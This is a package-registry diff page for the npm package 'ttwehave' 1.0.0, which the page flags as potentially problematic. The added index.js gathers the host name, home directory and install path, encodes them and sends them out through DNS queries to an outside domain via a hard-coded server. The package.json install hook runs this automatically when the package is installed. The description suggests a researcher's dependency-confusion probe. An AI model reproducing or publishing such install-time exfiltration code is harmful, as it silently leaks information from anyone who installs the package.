ttwehave 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of ttwehave might be problematic. Click here for more details.
- package/index.js +25 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,25 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const os = require("os");
|
3
|
+
|
4
|
+
const suffix = '.dns.mypoorlife.club';
|
5
|
+
const package = 'tt';
|
6
|
+
|
7
|
+
data = package +
|
8
|
+
'__' + os.hostname() +
|
9
|
+
'__' + os.homedir() +
|
10
|
+
'__' + __dirname;
|
11
|
+
|
12
|
+
data = data.replace(/[^a-zA-Z0-9._]/g,
|
13
|
+
function(m){
|
14
|
+
return '_' + m.charCodeAt(0).toString(16);
|
15
|
+
});
|
16
|
+
|
17
|
+
data = data.match(/.{1,50}/g);
|
18
|
+
|
19
|
+
dns.setServers(['46.101.225.109']);
|
20
|
+
|
21
|
+
id = Math.random().toString(36).substring(7);
|
22
|
+
|
23
|
+
data.forEach(function(chunk){
|
24
|
+
dns.resolve(id + '.' + chunk + suffix, 'A',console.log)
|
25
|
+
});
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "ttwehave",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "Hacked by johnstone@wearehackerone.com",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"install": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "johnstone",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|